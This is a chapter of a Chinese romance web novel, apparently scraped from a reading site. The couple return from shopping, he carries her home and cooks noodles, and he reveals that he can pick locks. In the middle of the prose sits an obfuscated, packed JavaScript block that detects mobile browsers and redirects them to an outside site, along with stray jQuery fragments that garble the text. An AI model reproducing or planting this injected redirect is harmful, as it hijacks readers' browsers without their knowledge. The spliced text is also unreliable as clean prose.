两人买完衣服,订好被子,晏瓷又提出要去买零嘴,等她挑挑拣拣买完零嘴已将近晚上七点,天空一片漆黑,江见云叫了辆出租车,将他们载回去。
出租不能进小区,在大门口就把他们放下,两人拎着大包小包,江见云左提被子右提衣服,晏瓷则宝贝似地抱着她的甜品和零嘴。
路不长,但晏瓷拖拖拉拉走得格外慢,江见云半步半步跟着她走,走了没一会儿,晏瓷就停下来喊脚疼。
江见云:“你逛商场的时候脚怎么不疼?”
晏瓷理直气壮:“因为逛了商场,所以回家的路上脚就疼了。”
江见云:“那你可以少逛商场,早点回家。”
晏瓷:“还不是要为了买你的衣服!”她的声音突然低了下去,“……还有我的零食。”
江见云看了一眼她的鞋:“你不是嫌这双鞋磨脚,买回来就只穿了一次?怎么今天又穿?”
晏瓷:“因为它有颜值,而且它高啊。”
她穿上这双鞋,跟江见云的差距由够不到下巴变成了够不到嘴巴,堪称质的飞跃!
江见云走快两步到她前面,蹲下身:“上来。”
晏瓷深吸一口气:“我瘦了五斤,还没吃晚饭。”
江见云:“哦,所以呢。”
晏瓷:“所以你肯定背得动我。”
也不知是说给自己听的还是给江见云听的。
江见云笑:“你再重五十斤我也背得动。上来。”
晏瓷将塑料袋一手牵一个,手臂紧紧搂住他的脖子,将下巴搁在了他的肩上。
江见云放下手里的东西,手肘环过她的膝弯,轻轻往上一送,就将人背了起来,然后弯腰提起了旁边的包裹。
昨晚下了暴雨,地上的水坑还没有干,他一步一个脚印地往回走。
江见云:“这样子你就比我高了。”
确实是这样。
当她直起腰的时候,周围的树木都要低头避让,大地在她的脚底都矮下三分,天幕星子闪烁,夜空仿佛触手可得,她的眼睛能越过江见云的头顶,轻而易举看到很远很远的地方,一览众山小。
晏瓷跟个趾高气昂的鹅似的伸长了脖颈,左看右看,前倾后摇,就差仰头高亢了。伸了没一会儿,她就觉得脖子嗖嗖的冷,赶紧缩了回去。
她不要高了,还是江见云这里比较暖和。
晏瓷的鼻尖在他的后颈处用力嗅嗅,闻到了熟悉的香气。
晏瓷:“你是不是把我护发素当洗发水用了?”
江见云:“有区别吗?”
晏瓷:“当然有区别!”
她试图比划,但只把手里的塑料袋弄得哔啵哔啵响:“要先用洗发水洗头,洗干净后上护发素,等十分钟再洗干净,有必要的话再用精油按摩……”
江见云啧了一声:“好麻烦。”
晏瓷:“那你只用洗发水就好了。”
江见云:“哦。”
但晏瓷觉得这人过两天就会忘了这事。
他记性好,但在这方面总是会弄错,她严重怀疑江见云是故意不小心的。
一路背到了家门口,江见云把她放下,等着她拿钥匙开门。
晏瓷两手都拿着东西,只能放下,一边摸一边问:“你没有钥匙吗?”
江见云:“你不是换门锁了?”
晏瓷这才想起自己半个月前钥匙丢了,为了防止被别人捡到开门,就换了门锁,江见云那时失踪,自然没有新钥匙。
她拿出钥匙,刚插入锁孔的一瞬间,一个毛骨悚然的念头犹如电流般蹿过大脑。
门应声而开,晏瓷却浑身僵硬。
那江见云昨天是怎么开门的?!
晏瓷目光呆滞地走进家门,脑海里乱糟糟的,一边想着“说不定是你没锁门江见云直接进来了”,一边想着“我绝对锁门并且还反锁了江见云肯定进不来”,然后一头倒在了沙发上。
江见云把大包小包拎进来,关了门,看向咸鱼躺尸的晏瓷:
“饿不饿?”
晏瓷发出一声鹅叫。
江见云:“太晚了,吃面怎么样?”
晏瓷如梦初醒,嘴巴很快:“我要吃微辣醋香排骨面,两个鸡蛋多加芝麻多加葱。”
江见云点头,转身进了厨房。
厨房里很快传来水声,晏瓷躺了一会儿,踢掉磨脚的鞋子,想着这事决不能这么算了,光着脚就哒哒哒跑进厨房。
锅里在煮排骨,散发出诱人的肉香,晏瓷用力吸了吸鼻子:“你昨天凌晨是怎么进来的?”
江见云看她一眼:“怎么不穿鞋?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252522|182034||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
晏瓷凶巴巴:“不许回避问题!”
江见云顺手往另一个锅里打了两个蛋:“让开点,油会溅你眼睛里。”
晏瓷躲到他背后,摇他肩膀:“快回答,不然我一直缠着你。”
江见云:“你门没锁。”
晏瓷:“不可能,我肯定锁了!”
江见云把醋香排骨盛起来,开始烧水煮面:“你记错了。”
他的表情太淡定,以至于晏瓷忍不住怀疑自己,她努力地想了想,确认自己昨天肯定锁了门,因为她怕有人在跟踪她。
于是晏瓷把昨天回家路上的场景仔细地描述了一遍,得出结论:“我百分百锁了门!江见云你到底是怎么进来的?!”
江见云转头:“你真想知道?”
晏瓷点头。
江见云:“我会撬锁。”
晏瓷发出尖锐爆鸣。
晏瓷:“不可能!除非你给我表演一下。”
江见云:“煮完面再说。”
晏瓷:“不行,现在就要。”
见她不依不饶,江见云只能一把拉过她的胳膊,来到门口,让晏瓷在里面呆着,把门锁上,自己走到了外面。
晏瓷高声:“锁好了。”
锁芯传来细微的颤动声。
她有些紧张地盯着把手,没过几分钟,只听一声咔嚓,门从外面打开了。
晏瓷的嘴巴缓缓张大。
江见云的手里拿着根不知从哪来的金属丝,一言不发地走进来,关门,看她的目光中有种被逼良为娼的无奈。
晏瓷往前一扑,伸手勾住他下巴,沉声道:“江见云,你还有什么惊喜是朕不知道的。”
江见云幽幽:“陛下,面要糊了。”
晏瓷大惊失色:“快快快,爱妃快去救朕的面!”
总算摆脱了她的骚扰,江见云回到厨房,锅里的水已经沸腾,幸好面还没有完全糊,正处于如糊的状态,抢救及时,不需要他重新煮一锅。
另一边,晏瓷摸着下巴,坐在餐桌旁寻思。
江见云给她的那张卡的余额开头是个6,一共八位数……
嘶。
这些钱该不会是他偷来的吧。
回来的那天他腰上还有枪……
江见云真去抢银行了?!